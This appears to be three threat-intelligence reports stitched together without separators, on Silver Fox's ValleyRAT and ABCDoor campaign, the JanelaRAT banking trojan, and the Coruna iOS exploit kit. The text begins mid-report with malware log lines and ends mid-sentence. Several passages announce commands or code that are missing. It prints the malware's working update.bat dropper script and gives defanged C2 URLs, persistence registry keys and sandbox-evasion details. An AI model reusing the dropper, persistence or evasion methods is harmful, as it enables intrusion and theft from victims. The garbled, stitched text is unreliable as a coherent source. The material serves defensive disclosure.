[unix_timestamp] [*] Starting message thread to monitor shutdown events...
[unix_timestamp] [+] SetProcessShutdownParameters (0x4FF) succeeded.
[unix_timestamp] [+] Window created successfully, message loop started.
[unix_timestamp] [+] Phantom persistence enabled successfully.
[unix_timestamp] [*] Hijack logic: Shutdown signal -> Abort shutdown -> Restart with EWX_RESTARTAPPS.
[unix_timestamp] Phantom persistence enabled.
[unix_timestamp] Mouse movement check passed.
[unix_timestamp] IP address check passed.
[unix_timestamp] Pass Sandbox/VM detection.
Attack chain and payloads
During this phishing campaign, Silver Fox utilized two primary methods for delivering malicious archives:
As an email attachment
Via a link to an external attacker-controlled website contained within a PDF attachment
We also observed three different ways the payload was positioned relative to the loader:
Embedded within the loader body
Hosted on an external website as a PNG image
Placed within the same archive as the loader
The diagram below illustrates the attack chain using the example of an email containing a PDF file and the subsequent delivery of a malicious payload from an external attacker-controlled website.
Attack chain of the campaign utilizing the RustSL loader
The infection chain begins when the user runs an executable file (the Silver Fox modification of the RustSL loader) disguised with a PDF or Excel icon. RustSL then loads an encrypted payload, which functions as shellcode. This shellcode then downloads an encrypted ValleyRAT (also known as Winos 4.0) backdoor module named 上线模块.dll from the attackers’ server. The filename translates from Chinese as “online-module.dll”, so for the sake of clarity, we’ll refer to it as the Online module.
Beginning of the decrypted payload: shellcode for loading the ValleyRAT (Winos 4.0) Online module
The Online module proceeds to load the core component of ValleyRAT: the Login module (the original filename 登录模块.dll_bin translates from Chinese as “login-module.dll_bin”). This module manages C2 server communication, command execution, and the downloading and launching of additional modules.
The initial shellcode, as well as the Online and Login modules, utilize a configuration located at the end of the shellcode:
End of the decrypted payload: ValleyRAT (Winos 4.0) configuration
The values between the “|” delimiters are written in reverse order. By restoring the correct character sequence, we obtain the following string:
The key configuration parameters in this string are:
p#, o#: IP addresses and ports of the ValleyRAT C2 servers in descending order of priority
bz: the creation date of the configuration
The Silver Fox group has long employed the infection chain described above – from the encrypted shellcode through the loading of the Login module – to deploy ValleyRAT. This procedure and its configuration parameters are documented in detail in industry reports: (1, 2, and 3).
Once the Login module is running, ValleyRAT enters command-processing mode, awaiting instructions from the C2. These commands include the retrieval and execution of various additional modules.
ValleyRAT utilizes the registry to store its configurations and modules:
Registry key
Description
HKCU:\Console\0
For x86-based modules
HKCU:\Console\1
For x64-based modules
HKCU:\Console\IpDate
Hardcoded registry location checked upon Login module startup
HKCU:\Software\IpDates_info
Final configuration
The ValleyRAT builder leaked in March 2025 contained 20 primary and over 20 auxiliary modules. During this specific phishing campaign, we discovered that after the main module executed, it loaded two previously unseen modules with similar functionality. These modules were responsible for downloading and launching a previously undocumented Python-based backdoor we have dubbed ABCDoor.
Custom ValleyRAT modules
The discovered modules are named 保86.dll and 保86.dll_bin. Their parameters are detailed in the table below.
HKCU:\Console\0 registry key value
Module name
Library MD5 hash
Compiled date and time (UTC)
fc546acf1735127db05fb5bc354093e0
保86.dll
4a5195a38a458cdd2c1b5ab13af3b393
2025-12-04 04:34:31
fc546acf1735127db05fb5bc354093e0
保86.dll
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
2375193669e243e830ef5794226352e7
保86.dll_bin
e66bae6e8621db2a835fa6721c3e5bbe
2025-12-04 04:39:32
Of particular note is the PDB path found in all identified modules: C:\Users\Administrator\Desktop\bat\Release\winos4.0测试插件.pdb. In Chinese, 测试插件 translates to “test plugin”, which may suggest that these modules are still in development.
Upon execution, the 保86.dll module determines the host country by querying the same five services used by the guard.rs module in Silver Fox RustSL: ipinfo.io, ip-api.com, ipapi.co, ipwho.is, and geoplugin.net. For the module to continue running, the infected device must be located in one of the following countries:
Countries where the 保86.dll module functions
If the geolocation check passes, the module attempts to download a 52.5 MB archive from a hardcoded address using several methods. The sample with MD5 4a5195a38a458cdd2c1b5ab13af3b393 queried hxxp://154.82.81[.]205/YD20251001143052.zip, while the sample with MD5 e66bae6e8621db2a835fa6721c3e5bbe queried
hxxp://154.82.81[.]205/YN20250923193706.zip.
Interestingly, Silver Fox updated the YD20251001143052.zip archive multiple times but continued to host it on the same C2 (154.82.81[.]205) without changing the filename.
The module implements the following download methods:
Using the InternetReadFile function with the User-Agent PythonDownloader
The archive was saved to the path %LOCALAPPDATA%\appclient\111.zip.
Contents of the 111.zip archive
The archive is quite large because the python directory contains a Python environment with the packages required to run the previously unknown ABCDoor backdoor (which we will describe in the next section), while the ffmpeg directory includes ffmpeg.exe, a statically linked, legitimate audio/video tool that the backdoor uses for screen capturing.
Once downloaded, the DLL module extracts the archive using COM methods and runs the following command to execute update.bat:
The update.bat script copies the extracted files to C:\ProgramData\Tailscale. This path was chosen intentionally: it corresponds to the legitimate utility Tailscale (a mesh VPN service based on the WireGuard protocol that connects devices into a single private network). By mimicking a VPN service, the attackers likely aim to mask their presence and complicate the analysis of the compromised system.
@echo off
set "script_dir=%~dp0"
set SRC_DIR=%script_dir%
set DES_DIR=C:\ProgramData\Tailscale
rmdir /s /q "%DES_DIR%"
mkdir "%DES_DIR%"
call :recursiveCopy "%SRC_DIR%" "%DES_DIR%"
start "" /B "%DES_DIR%\python\pythonw.exe" -m appclient
exit /b
:recursiveCopy
set "src=%~1"
set "dest=%~2"
if not exist "%dest%" mkdir "%dest%"
for %%F in ("%src%\*") do (
copy "%%F" "%dest%" >nul
)
for /d %%D in ("%src%\*") do (
call :recursiveCopy "%%D" "%dest%\%%~nxD"
)
exit /b
Contents of update.bat
After copying the files, the script launches the appclient Python module using the legitimate pythonw tool:
The primary entry point for the appclient module, the __main__.py file, contains only a few lines of code. These lines are responsible for utilizing the setproctitle library and executing the run function, to which the C2 address is passed as a parameter.
Code for main.py: the module entry point
The setproctitle library is primarily used on Linux or macOS systems to change a displayed process name. However, its functionality is significantly limited on Windows; rather than changing the process name itself, it creates a named object in the format python(<pid>): <proctitle>. For example, for the appclient module, this object would appear as follows:
We believe the use of setproctitle may indicate the existence of backdoor versions for non-Windows systems, or at least plans to deploy it in such environments.
The appclient.core module has a PYD extension and is a DLL file compiled with Cython 3.0.7. This is the core module of the backdoor, which we have named ABCDoor because nearly all identified C2 addresses featured the third-level domain abc.
Upon execution, the backdoor establishes persistence in the following locations:
Windows registry: It adds "<path_to_pythonw.exe>" -m appclient to the value HKCU:\Software\Microsoft\Windows\CurrentVersion\Run:AppClient, e.g:
The command creates a task named “AppClient” that runs every minute.
The backdoor is built on the asyncio and Socket.IO Python libraries. It communicates with its C2 via HTTPS and uses event handlers to processes messages asynchronously. The backdoor follows object-oriented programming principles and includes several distinct classes:
MainManager: handles C2 connection and authorization (sending system metadata)
MessageManager: registers and executes message handlers
AutoStartManager: manages backdoor persistence
ClientManager: handles backdoor updates and removal
SystemInfoManager: collects data from the victim’s system, including screenshots
RemoteControlManager: enables remote mouse and keyboard control via the pynput library and manages screen recording (using the ScreenRecorder child class)
FileManager: performs file system operations
KeyboardManager: emulates keyboard input
ProcessManager: manages system processes
ClipboardManager: exfiltrates clipboard contents to the C2
CryptoManager: provides functions for encrypting and decrypting files and directories (currently limited to DPAPI; asymmetric encryption functions lack implementation)
First, the get_machine_guid_via_file_func function attempts to read an identifier from the file %LOCALAPPDATA%\applogs\device.log. If the file does not exist, it is created and initialized with a random UUID4 value. However, immediately after this, the get_machine_guid_via_reg function overwrites the identifier obtained by the first function with the value from HKLM:\SOFTWARE\Microsoft\Cryptography:MachineGuid. This likely indicates a bug in the code.
The primary characteristic of this backdoor is the absence of typical remote control features, such as creating a remote shell or executing arbitrary commands. Instead, it implements two alternative methods for manipulating the infected device:
Emulating a double click while broadcasting the victim’s screen
A "file_open" message within the FileManager class, which calls the os.startfile function. This executes a specified file using the ShellExecute function and the default handler for that file extension
For screen broadcasting, the backdoor utilizes a standalone ffmpeg.exe file included in the ABCDoor archive. While early versions could only stream from a single monitor, recent iterations have introduced support for streaming up to four monitors simultaneously using the Desktop Duplication API (DDA). The broadcasting process relies on the screen capture functions RemoteControl::ScreenRecorder::start_single_monitor_ddagrab, RemoteControl::ScreenRecorder::start_multi_monitor_ddagrab, and RemoteControl::ScreenRecorder::test_ddagrab_support. These functions generate a lengthy string of launch arguments for ffmpeg; these arguments account for monitor orientation (vertical or horizontal) and quantity, stitching the data into a single, cohesive stream.
Because ABCDoor runs within a legitimate pythonw.exe process, it can remain hidden on a victim’s system for extended periods. However, its operation involves various interactions with the registry and file system that can be used for detection. Specifically, ABCDoor:
Writes its initial installation timestamp to the registry value HKCU:\Software\CarEmu:FirstInstallTime
Creates the directory and file %LOCALAPPDATA%\applogs\device.log to store the victim’s ID
Logs any exceptions to %LOCALAPPDATA%\applogs\exception_logs.zip. Interestingly, Silver Fox even implemented a Utility::upload_exception_logs function to send this archive to a specified URI, likely to help debug and refine the malware’s performance
Additionally, ABCDoor features self-update and self-deletion capabilities that generate detectable artifacts. Updates are downloaded from a specific URI to %TEMP%\tmpXXXXXXXX\update.zip (where XXXXXXXX represents random alphanumeric characters), extracted to %TEMP%\tmpXXXXXXXX\update, and executed via a PowerShell command:
The existing ABCDoor process is then forcibly terminated.
ABCDoor versions
Through retrospective analysis, we discovered that the earliest version of ABCDoor (MD5: 5b998a5bc5ad1c550564294034d4a62c) surfaced in late 2024. The backdoor evolved rapidly throughout 2025. The table below outlines the primary stages of its evolution:
Version
Compiled date (UTC)
Key updates
ABCDoor .pyd MD5 hash
121
2024.12.19 18:27:11
– Minimal functionality (file downloads, remote control using the Graphics Device Interface (GDI) in ffmpeg)
– No OOP used
– Registry persistence
– DPAPI encryption functions
– Chunked file uploading to C2
de8f0008b15f2404f721f76fac34456a
154
2025.05.09 13:36:24
– Implementation of installation channels
– Key combination emulation
9bf9f635019494c4b70fb0a7c0fb53e4
156
2025.08.11 13:36:10
– Retrieval and logging of initial installation time to the registry
a543b96b0938de798dd4f683dd92a94a
157
2025.08.28 14:23:57
– Use of DDA source in ffmpeg for monitor screen broadcasting
fa08b243f12e31940b8b4b82d3498804
157
2025.09.23 11:38:17
– Compiled with Cython 3.0.7 (previous version used Cython 3.0.12)
13669b8f2bd0af53a3fe9ac0490499e5
Evolution of ABCDoor distribution methods
Although the first version of the backdoor appeared in late 2024, the threat actor likely began using it in attacks around February or March 2025. At that time, the backdoor was distributed using stagers written in C++ and Go:
C++ stagerThe file GST Suvidha.exe (MD5: 04194f8ddd0518fd8005f0e87ae96335) downloaded a loader (MD5: f15a67899cfe4decff76d4cd1677c254) from hxxps://mcagov[.]cc/download.php?type=exe. This loader then downloaded the ABCDoor archive from hxxps://abc.fetish-friends[.]com/uploads/appclient.zip, extracted it, and executed it.
Go stagerThe file GSTSuvidha.exe (MD5: 11705121f64fa36f1e9d7e59867b0724) executed a remote PowerShell script:
Thanks to these “channel” names, we identified overlaps between ABCDoor and other malicious files likely belonging to Silver Fox. These are NSIS installers featuring the branding of the Ministry of Corporate Affairs of India (responsible for regulating industrial companies and the services sector). These installers establish a connection to the attackers’ server at hxxps://vnc.kcii2[.]com, providing them with remote access to the victim’s device. Below is the list of files we identified:
The file MCA-Ministry.exe (MD5: 32407207e9e9a0948d167dca96c41d1a) was also hosted on one of the servers used by the ABCDoor stagers and was downloaded via TinyURL:
Starting in November 2025, the attackers began using a JavaScript loader to deliver ABCDoor. This was distributed via self-extracting (SFX) archives, which were further packaged inside ZIP archives:
November Statement.zip (MD5: b500e0a8c87dffe6f20c6e067b51afbf) (BillReceipt.exe)
December Statement.zip (MD5: 814032eec3bc31643f8faa4234d0e049) (statement.exe)
December Statement.zip (MD5: 90257aa1e7c9118055c09d4a978d4bee) (statement verify .exe)
Statement of Account.zip (MD5: f8371097121549feb21e3bcc2eeea522) (Review the file.exe)
The ZIP archives were likely distributed through phishing emails. They contained one of two SFX files: BillReceipt.exe (MD5: 2b92e125184469a0c3740abcaa10350c) or Review the file.exe (MD5: 043e457726f1bbb6046cb0c9869dbd7d), which differed only in their icons.
Icons of the SFX archives
When executed, the SFX archive ran the following script:
SFX archive script
This script launched run_direct.ps1, a PowerShell script contained within the archive.
The run_direct.ps1 script
The run_direct.ps1 script checked for the presence of NodeJS in the standard directory on the victim’s computer (%USERPROFILE%\.node\node.exe). If it was not found, the script downloaded the official NodeJS version 22.19.0, extracted it to that same folder, and deleted the archive. It then executed run.deobfuscated.obf.js – also located in the SFX archive – using the identified (or newly installed) NodeJS, passing two parameters to it: an encrypted configuration string and a XOR key for decryption:
Decrypted configuration for the JS loader
The JS code being executed is heavily obfuscated (likely using obfuscate.io). Upon execution, it writes the channel parameter value from the configuration to the registry at HKCU:\Software\CarEmu:InstallChannel as a REG_SZ type. It then downloads an archive from the link specified in the zipUrl parameter and saves it to %TEMP%\appclient_YYYYMMDDHHMMSS.zip (or /tmp on Linux). The script extracts this archive to the %USERPROFILE%\AppData\Local\appclient directory (%HOME%/AppData/Local/appclient on Linux) and launches it by running cmd /c start /min python/pythonw.exe -m appclient in background mode with a hidden window. After extraction, the script deletes the ZIP archive.
Additionally, the code calls a console logging function after nearly every action, describing the operations in Chinese:
Log fragments gathered from throughout the JS code
Victims
As previously mentioned, Silver Fox RustSL loaders are configured to operate in specific countries: Russia, India, Indonesia, South Africa, and Cambodia. The most recent versions of RustSL have also added Japan to this list. According to our telemetry, users in all of these countries – with the exception of Cambodia – have encountered RustSL. We observed the highest number of attacks in India, Russia, and Indonesia.
Distribution of RustSL loader attacks by country, as a percentage of the total number of detections (download)
The majority of loader samples we discovered were contained within archives with tax-related filenames. Consequently, we can attribute these attacks to a single campaign with a high degree of confidence. That Silver Fox has been sending emails on behalf of the tax authorities in Japan has also been reported by our industry peers.
Conclusion
In the campaign described in this post, attackers exploited user trust in official tax authority communications by disguising malicious files as documents on tax violations. This serves as another reminder of the critical need for vigilance and the thorough verification of all emails, even those purportedly from authoritative sources. We recommend that organizations improve employee security awareness through regular training and educational courses.
During these attacks, we observed the use of both established Silver Fox tools, such as ValleyRAT, and new additions – including a customized version of the RustSL loader and the previously undocumented ABCDoor backdoor. The attackers are also expanding their geographic focus: Russian organizations became a primary target in this campaign, and Japan was added to the supported country list in the malware’s configuration. Theoretically, the group could add other countries to this list in the future.
The Silver Fox group employs a multi-stage approach to payload delivery and utilizes a segmented infrastructure, using different addresses and domains for various stages of the attack. These techniques are designed to minimize the risk of detection and prevent the blocking of the entire attack chain. To identify such activity in a timely manner, organizations should adopt a comprehensive approach to securing their infrastructure.
Detection by Kaspersky solutions
Kaspersky security solutions successfully detect malicious activity associated with the attacks described in this post. Let’s look at several detection methods using Kaspersky Endpoint Detection and Response Expert.
The activity of the malware described in this article can be detected when the command interpreter, while executing commands from a suspicious process, initiates a covert request to external resources to download and install the Node.js interpreter. KEDR Expert detects this activity using the nodejs_dist_url_amsi rule.
Silver Fox activity can also be detected by monitoring requests to external services to determine the host’s network parameters. The attacker performs these actions to obtain the external IP address and analyze the environment. The KEDR Expert solution detects this activity using the access_to_ip_detection_services_from_nonbrowsers rule.
After running the command cmd /c start /min python/pythonw.exe -m appclient, the Silver Fox payload establishes persistence on the system by modifying the value of the UserInitMprLogonScript parameter in the HKCU\Environment registry key. This allows attackers to ensure that malicious scripts run when the user logs in. Such registry manipulations can be detected. The KEDR Expert solution does this using the persistence_via_environment rule.
JanelaRAT is a malware family that takes its name from the Portuguese word “janela” which means “window”. JanelaRAT looks for financial and cryptocurrency data from specific banks and financial institutions in the Latin America region.
JanelaRAT is a modified variant of BX RAT that has targeted users since June 2023. One of the key differences between these Trojans is that JanelaRAT uses a custom title bar detection mechanism to identify desired websites in victims’ browsers and perform malicious actions.
The threat actors behind JanelaRAT campaigns continuously update the infection chain and malware versions by adding new features.
Kaspersky solutions detect this threat as Trojan.Script.Generic and Backdoor.MSIL.Agent.gen.
Initial infection
JanelaRAT campaigns involve a multi-stage infection chain. It starts with emails mimicking the delivery of pending invoices to trick victims into downloading a PDF file by clicking a malicious link. Then the victims are redirected to a malicious website from which a compressed file is downloaded.
Malicious email used in JanelaRAT campaigns
Throughout our monitoring of these malware campaigns, the compressed files have typically contained VBScripts, XML files, other ZIP archives, and BAT files. They ultimately lead to downloading a ZIP archive that contains components for DLL sideloading and executing JanelaRAT as the final payload.
However, we have observed variations in the infection chains depending on the delivered version of the malware. The latest observed campaign evolved by integrating MSI files to deliver a legitimate PE32 executable and a DLL, which is then sideloaded by the executable. This DLL is actually JanelaRAT, delivered as the final payload.
Based on our analysis of previous JanelaRAT intrusions, the updates in the infection chain represent threat actors’ attempts to streamline the process, with a reduced number of malware installation steps. We’ve observed a logical sequence in how components, such as MSI files, have been incorporated and adapted over time. Moreover, we have observed the use of auxiliary files — additional components that aid in the infection — such as configuration files that have been changing over time, showing how the threat actors have adapted these infections in an effort to avoid detection.
JanelaRAT infection flow evolution
Initial dropper
The MSI file acts as an initial dropper designed to install the final implant and establish persistence on the system. It obfuscates file paths and names with the objective to hinder analysis. This code is designed to create several ActiveX objects to manipulate the file system and execute malicious commands.
Among the actions taken, the MSI defines paths based on environment variables for hosting binaries, creating a startup shortcut, and storing a first-run indicator file. The dropper file checks for the existence of the latter and for a specific path, and if either is missing, it creates them. If the file exists, the MSI file redirects the user to an external website as a decoy, showing that everything is “normal”.
The MSI dropper places two files at a specified path: the legitimate executable nevasca.exe and the PixelPaint.dll library, renaming them with obfuscated combinations of random strings before relocating. An LNK shortcut is created in the user’s Startup folder, pointing to the renamed nevasca.exe executable, ensuring persistence. Finally, the nevasca.exe file is executed, which in turn loads the PixelPaint.dll file that is JanelaRAT.
Malicious implant
In this case, we analyzed JanelaRAT version 33, which was masqueraded as a legitimate pixel art app. Similar to other malware versions, it was protected with Eazfuscator, a common .NET obfuscation tool. We have also seen previous JanelaRAT samples that used the ConfuserEx obfuscator or its custom builds. The malware uses Control Flow Flattening method and renames classes and variables to make the code unreadable without deobfuscation.
JanelaRAT monitors the victim’s activity, intercepts sensitive banking interactions, and establishes an interactive C2 channel to report changes to the threat actor. While screen monitoring is also present, the core functionality focuses on financial fraud and real-time manipulation of the victim’s machine. The malware collects system information, including OS version, processor architecture (32-bit, 64-bit, or unknown), username, and machine name. The Trojan evaluates the current user’s privilege level and assigns different nicknames for administrators, users, guests, and an additional one for any other role.
The malware then retrieves the current date and constructs a beacon to register the victim on the C2 server, along with the malware version. To prevent multiple instances, the malware creates the mutex and exits if it already exists.
String encryption
All JanelaRAT samples utilize encrypted strings for sending information to the C2 and obfuscating embedded data. The encryption algorithm remains consistent across campaigns, combining base64 encoding with Rijndael (AES). The encryption key is derived from the MD5 hash of a 4-digit number and the IV is composed of the first 16 bytes of the decoded base64 data.
C2 communication and command handling
After initialization, JanelaRAT establishes a TCP socket, configuring callbacks for connection events and message handling. It registers all known message types, executing specific system tasks based on the received message.
Following socket initialization, the malware launches two background routines:
User inactivity and session tracking
This routine activates timers and launches secondary threads, including an internal timer and a user inactivity monitor. The malware determines if the victim’s machine has been inactive for more than 10 minutes by calculating the elapsed time since the last user input. If the inactivity period exceeds 10 minutes, the malware notifies the C2 by sending the corresponding message. Upon user activity, it notifies the threat actor again. This makes it possible to track the user’s presence and routine to time possible remote operations.
Timer that looks for 10 minutes of inactivity
Victim registration and further malicious activity
This routine is launched immediately after the socket setup. It triggers two subroutines responsible for periodic HTTP beaconing and downloading additional payloads.
The first subroutine executes a PowerShell downloaded from a staging server during post-exploitation. Its main objective is to establish persistence by downloading the PixelPaint.dll file once again. The routine then builds and executes periodic HTTP requests to the C2, reporting the malware’s version and the victim machine’s security environment. It loops continuously as long as a specific local file does not exist, ensuring repeated telemetry transmission. The file was not observed being extracted or created by the malware itself; rather, it appears to be placed on the system by the threat actor during other post-exploitation activities. Based on previous incidents, this file likely contains instructions for establishing persistence.
This JanelaRAT version constructs a second C2 URL for beaconing, using several decrypted strings and following a pattern that uses different parameters to report information about new victims:
We have observed constant changes in the parameters across campaigns. A new parameter “AN” was introduced in this version. It is used to detect the presence of a specific process associated with banking security software. If such software is found on the victim’s device, the malware notifies the threat actor.
Parameter
Description
VS
JanelaRAT version
PL
OFF by default
AN
Yes or No depending on whether banking security software process exists
The second subroutine is responsible for monitoring the user’s visits to banking websites and reporting any activity of interest to the threat actor. JanelaRAT 33v is specifically engineered to target Brazilian financial institutions. However, we have also observed other versions of the malware targeting other specific countries in the region, such as the “Gold-Label” version targeting banking users in Mexico that we described earlier.
This subroutine creates a timer to enable an active system monitoring cycle. During this cycle, the malware obtains the title of the active window and checks if it matches entries of interest using a hardcoded but obfuscated list of financial institutions. Although the threat actors behind JanelaRAT primarily focus on one country as a target, the list of financial institutions is constantly updated.
If a title bar matches one of the listed targets, the malware waits 12 seconds before establishing a dedicated communication channel to the C2. This channel is used to execute malicious tasks, including taking screenshots, monitoring keyboard and mouse input, displaying messages to the user, injecting keystrokes or simulating mouse input, and forcing system shutdown.
To perform these actions, the malware uses a dedicated C2 handler that interprets incoming commands from the C2. Notably, 33v supports live banking session hijacking, not just credential theft.
Action Performed
Description
Capture desktop image
Send compressed screenshots to the C2
Specific screenshots
Crop specific screen regions and exfiltrate images
Overlay windows
Display images in full-screen mode, limit user interactions, and mimic bank dialogs to harvest credentials
Keylogging
Keystroke capture
Simulate keyboard
Inject keys such as DOWN, UP, and TAB to navigate or trigger new elements
Track mouse input
Move the cursor, simulate clicks, and report the cursor position
Display message
Show message boxes (custom title, text, buttons, or icons)
System shutdown
Execute a forced shutdown sequence
Command execution
Run CMD or PowerShell scripts/commands
Task Manager
manipulation
Launch Task Manager, find its window, and hide it to prevent discovery by the user
Check for banking security software process
Detect the presence of anti-fraud systems
Beaconing
Send host information (malware version, profile, presence of banking software)
Toggle internal modes
Enable and disable modes such as screenshot flow, key injection, or overlay visibility
Anti-analysis
Detect sandbox or automation tools
C2 infrastructure
Unlike other versions, this variant rotates its C2 server daily. Once a title bar matches the one in the list, the software dynamically constructs the C2 channel domain by concatenating an obfuscated string, the current date, and a suffix domain related to a legitimate dynamic DNS (DDNS) service. This communication is established using port 443, but not TLS.
Decoy overlay system
This version of JanelaRAT implements a decoy overlay system designed to capture banking credentials and bypass multi-factor authentication. When a target banking window is detected, the malware requests further instructions from the C2 server. The C2 responds with a command identifier and a Base64-encoded image, which is then displayed as a full-screen overlay window mimicking legitimate banking or system interfaces. The malware ensures the fake window completely covers the screen and limits the victim’s interaction with the system.
The malware blocks the victim’s interaction by displaying modal dialogs. Each modal dialog corresponds to a specific operation, such as password capture, token/MFA capture, fake loading screen, fake Windows update full-screen modal and more. The malware resizes the overlay, scans multiple screens, and loads deceptive elements to distract the user or temporarily hide legitimate application windows.
Among other fake elements, the malware displays fake Windows update notifications, often accompanied by messages in Brazilian Portuguese, such as:
“Configuring Windows updates, please wait.”
“Do not turn off your computer; this could take some time.”
When a message command is received from the operator, the malware constructs a custom message box based on parameters sent from the server. These parameters include the message title, text content, button type (e.g., OK, Yes/No), and icon type (e.g., Warning, Error). The malware then creates a maximized message box positioned at the top of the screen, ensuring it captures user focus and blocks the visibility of other windows, mimicking a system or security alert.
An obfuscated acknowledgement string is sent back to the C2 to confirm successful execution of this task.
Anti-analysis techniques
In addition to the conditional behavior based on whether the process of banking security software is detected, the malware includes anti-analysis routines and computer environment checks, such as sandbox detection through the Magnifier and MagnifierWindow components. These components are used to determine if accessibility tools are active on the infected computer indicating a possible malware analysis environment.
Persistence
The malware establishes persistence by writing a command script into the Windows Startup directory. This script forces the execution chain to run at each user logon enabling malicious activity without triggering privilege escalation prompts. The script is executed silently to evade user awareness.
This method is either an alternative or a supplement to the persistence method previously described in the subroutines responsible for periodic HTTP beaconing section.
Victimology
Consistent with previous intrusions and campaigns, the primary targets of the threat actors distributing JanelaRAT are banking users in Latin America, with specific focus on users of financial institutions in Brazil and Mexico.
According to our telemetry, in 2025 we detected 14,739 attacks in Brazil and 11,695 in Mexico related to JanelaRAT.
Conclusions
JanelaRAT remains an active and evolving threat, with intrusions exhibiting consistent characteristics despite ongoing modifications. We have tracked the evolution of JanelaRAT infections for some time, observing variations in both the malware itself and its infection chain, including targeted variants for specific countries.
This variant represents a significant advancement in the actor’s capabilities, combining multiple communication channels, comprehensive victim monitoring, interactive overlays, input injection, and robust remote control features. The malware is specifically designed to minimize user visibility and adapt its behavior upon detection of anti-fraud software.
To mitigate the risk of communication with the C2 infrastructure utilizing similar evasive techniques, we recommend that defenders block dynamic DNS services at the corporate perimeter or internal DNS resolvers. This will disrupt the communication channels used by JanelaRAT and similar threats.
On March 4, 2026, Google and iVerify published reports about a highly sophisticated exploit kit targeting Apple iPhone devices. According to Google, the exploit kit was first discovered in targeted attacks conducted by a customer of an unnamed surveillance vendor. It was later used by other attackers in watering-hole attacks in Ukraine and in financially motivated attacks in China. Additionally, researchers discovered an instance with the debug version of the exploit kit, which revealed the internal names of the exploits and the framework name used by its developers — Coruna. Analysis of the kit showed that it relies on the exploitation of many previously patched vulnerabilities and also includes exploits for CVE-2023-32434 and CVE-2023-38606. These two vulnerabilities particularly caught our attention because they had been first discovered as zero-days used in Operation Triangulation.
Operation Triangulation is a complex mobile APT campaign targeting iOS devices. We discovered it while monitoring the network traffic of our own corporate Wi-Fi network. We noticed suspicious activity that originated from several iOS-based phones. Following the investigation, we learned that this campaign employed a sophisticated spyware implant and multiple zero-day exploits. The investigation lasted for over six months, during which we disclosed our findings in connection to the attack. Kaspersky GReAT experts also presented these findings at the 37th Chaos Communication Congress (37C3).
Although all the details of both CVE-2023-32434 and CVE-2023-38606 have long been publicly available, and other researchers have developed their own exploits without ever seeing the Triangulation code, we decided to closely investigate the exploits used in Coruna. Some of the exploit kit distribution links provided by Google remained active at the time the report was published, which allowed us to collect, decrypt, and analyze all components of Coruna.
During our analysis, we discovered that the kernel exploit for CVE-2023-32434 and CVE-2023-38606 vulnerabilities used in Coruna, in fact, is an updated version of the same exploit that had been used in Operation Triangulation. The images below illustrate a high-level overview of the two attack chains. The exploit in question is highlighted with a red rectangle.
Attack chain of Operation Triangulation (simplified)
Attack chain of Coruna (simplified)
Moreover, we discovered that Coruna includes four additional kernel exploits that we had not seen used in Operation Triangulation, two of which were developed after the discovery of Operation Triangulation. All of these exploits are built on the same kernel exploitation framework and share common code. Code similarities from kernel exploits can also be found in other components of Coruna. These findings led us to conclude that this exploit kit was not patchworked but rather designed with a unified approach. We assume that it’s an updated version of the same exploitation framework that was used — at least to some extent — in Operation Triangulation.
Technical details
While we continue to investigate all exploits and vulnerabilities used by Coruna, this post provides a high-level overview of the exploit kit and attack chain.
Safari
Exploitation begins with a stager that fingerprints the browser and selects and executes appropriate remote code execution (RCE) and pointer authentication code (PAC) exploits depending on the browser version. It also contains a URL to an encrypted file with information about all available packages containing exploits and other components. The stager also includes a 256-bit key used to decrypt it. The URL and decryption key are passed to a payload embedded in PAC exploits.
Payload
The payload is responsible for initiating the exploitation of the kernel. After initialization, the payload first downloads a file with information about other available components. To extract it, the payload performs several steps processing multiple file formats.
First, the downloaded file is decrypted using the ChaCha20 stream cipher. Decryption yields a container with the magic number 0xBEDF00D, which stores LZMA-compressed data.
The file format used by the exploit kit to store compressed data
Offset
Field
0x00
Magic number (0xBEDF00D)
0x04
Decompressed data size
0x08
LZMA-compressed data
The decompressed data presents another container with the magic number 0xF00DBEEF. This file format is used in the exploit kit to store and retrieve files by their IDs.
The file format used by the exploit kit to store files
Offset
Field
0x00
Magic number (0xF00DBEEF)
0x04
Number of entries
0x08
Entry[0].File ID
0x0C
Entry[0].Status
0x10
Entry[0].File offset
0x14
Entry[0].File size
We provide a description of all possible File ID values below. At this stage, when the payload gathers information about all available file packages, this container holds only one file, and its File ID is 0x70000.
Finally, we get to the file with information about all available file packages. It starts with the magic value 0x12345678. The exploit kit uses this file format to obtain URLs and decryption keys for additional components that need to be downloaded.
The file format used by the exploit kit to store information about file packages
Offset
Field
0x00
Magic number (0x12345678)
0x04
Flags
0x08
Directory path
0x108
Number of entries
0x10C
Entry[0].Package ID
0x110
Entry[0].ChaCha20 key
0x130
Entry[0].File name
The components required for exploiting a targeted device are selected using the Package ID. Its high byte specifies the package type and required hardware. We’ve seen the following package types:
0xF2 – exploit for ARM64,
0xF3 – exploit for ARM64E,
0xA2 – Mach-O loader for ARM64,
0xA3 – Mach-O loader for ARM64E,
2 – implant for ARM64,
0xE2 – implant for ARM64E.
The payload code also supports additional package types, such as 0xF1, an exploit for older ARM devices that do not support 64-bit architecture. Interestingly, however, the files for such exploits are missing.
Other bytes of the Package ID define the supported firmware version and CPU generation.
Some of the observed Package IDs (those with unique content)
Package ID
Description
0xF3300000
Kernel exploit (iOS < 14.0 beta 7) and other components
0xF3400000
Kernel exploit (iOS < 14.7) and other components
0xF3700000
Kernel exploit (iOS < 16.5 beta 4) and other components
0xF3800000
Kernel exploit (iOS < 16.6 beta 5) and other components
0xF3900000
Kernel exploit (iOS < 17.2) and other components
0xA3030000
Mach-O loader (iOS 16.X) (A13 – A16)
0xA3050000
Mach-O loader (iOS 16.0 – 16.4)
The files inside these packages are also stored in encrypted and compressed 0xF00DBEEF containers, but this time compression is optional and is determined by the second bit in the Flags field. Different packages contain different sets of files. A description of all possible File IDs is given in the table below.
Observed File IDs
File ID
Description
0x10000
Implant
0x50000
Mach-O loader (default)
0x70000
List of additional components
0x70005
Launcher config
0x80000
Launcher in 0xF2/0xF3 packages, or Mach-O loader in 0xA2/0xA3
0x90000
Kernel exploit
0x90001
Kernel exploit (for Mach-O loader)
0xA0000
Logs cleaner
0xA0001
Mach-O loader component
0xA0002
Mach-O loader component
0xF0000
RPC stager
After downloading the necessary components, the payload begins executing kernel exploits, Mach-O loaders, and the malware launcher. The payload selects an appropriate Mach-O loader based on the firmware version, CPU, and presence of the iokit-open-service permission.
Kernel exploits
We analyzed all five kernel exploits from the kit and discovered that one of them is an updated version of the same exploit we discovered in Operation Triangulation. There are many small changes, but the most noticeable are as follows:
